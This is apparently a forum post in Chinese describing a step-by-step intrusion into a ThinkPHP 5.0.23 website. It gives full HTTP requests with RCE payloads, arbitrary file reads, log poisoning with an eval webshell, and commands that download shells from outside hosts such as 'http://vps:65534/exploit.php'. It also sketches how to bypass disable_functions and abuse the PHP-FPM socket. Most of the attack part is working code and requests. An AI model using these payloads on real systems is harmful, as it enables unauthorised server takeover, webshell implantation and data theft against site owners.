信息收集

由于网站 www.a.com/admin,访问立即跳转到www.a.com/admin/publicer/login

发现是TP,5.0.23,在漏洞的版本范围内,尝试使用:

index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
_method=__construct&filter[]=system&method=GET&get[]=id

发现都不行,而且开启了pathinfo, 明明在版本范围内,payload打不成功怎么办

查看验证码,继续使用index.php?s=captcha 查看发现访问成功,change method,post,发现执行system,返回500,var_dump发现可以返回,说明代码能够执行成功

POST /?s=captcha HTTP/1.1
Host: vulnhost
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 83

_method=__construct&method=get&filter[]=var_dump&server[REQUEST_METHOD]=1&get[]=2


查看phpinfo:

POST /?s=captcha HTTP/1.1
Host: vulnhost
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 83

_method=__construct&method=get&filter[]=phpinfo&server[REQUEST_METHOD]=1&get[]=4

查看相关的信息后,disable_functions:

passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

目录知道的信息如下:
thinkphp 5.0.23
/www/wwwroot/vulhost/public/index.php
禁用函数
php 7.2.18,没办法assert
open_basedir /www/wwwroot/vulhostcn/:/tmp/:/proc/
首先想到的是,更新其他函数尝试,以及一些bypass绕过disable_functions,但是payload目前只能传入一个参数,并且还限制了很多函数.

尝试写文件,也不具备传递2个参数,使用session来shell

_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=/tmp/sess_asd
  _method=__construct&method=get&filter[]=think\Session::set&get[]=<?php x?>

发现不成功,可能session位置不对,查看phpinfo:

发现吧session写到了redis里,那尝试redis 来getshell试试:

_method=__construct&method=get&filter[]=think\__include_file&server[REQUEST_METHOD]=../data/runtime/log/202004/04.log&c=curl_exec(curl_init("dict://127.0.0.1:6379/info"));

失败告终,尝试其他办法

发现readfile是可以的,先读取index.php确定文件路径

_method=__construct&method=get&filter[]=readfile&server[REQUEST_METHOD]=/www/wwwroot/vulhost/public/index.php

通过读取index.php

确定路径,读取log

_method=__construct&method=get&filter[]=readfile&server[REQUEST_METHOD]=/www/wwwroot/vulhostcn/data/runtime/log/202004/04.log
_method=__construct&method=get&filter[]=call_user_func&server[REQUEST_METHOD]=<?php eval($_POST['c']);?>
_method=__construct&method=get&filter[]=think\__include_file&server[REQUEST_METHOD]=../data/runtime/log/202004/04.log&c=phpinfo();

文件包含成功,此漏洞详情可 查看https://xz.aliyun.com/t/6106
至此就基本上搞定了

传免杀shell:

file_put_contents("/www/wwwroot/vulnstcn/debug.php",file_get_contents("http://scan.javasec.cn/xxxxx"))

查看目录文件:

_method=__construct&method=get&filter[]=think\__include_file&server[REQUEST_METHOD]=../data/runtime/log/202004/04.log&c=print_r(scandir("/www/wwwroot/vulhostcn/public/"));

bypass disable_functions,参考:https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass

_method=__construct&method=get&filter[]=think\__include_file&server[REQUEST_METHOD]=../data/runtime/log/202004/04.log&c=file_put_contents("/www/wwwroot/vulhostcn/public/themes/admin_themes/3.php",file_get_contents("http://vps:65534/exploit.php"));


fpm方式利用:

fpm没有使用tcp的方式,而是使用了unix的socket

$sock = stream_socket_client('unix:///tmp/php-fcgi.sock',$errno,$errstr);

redis后 自己在shell里上传个so 实现的命令执行等等,不过都是一些方向上的思路,可以以后尝试。

点击收藏 | 5 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖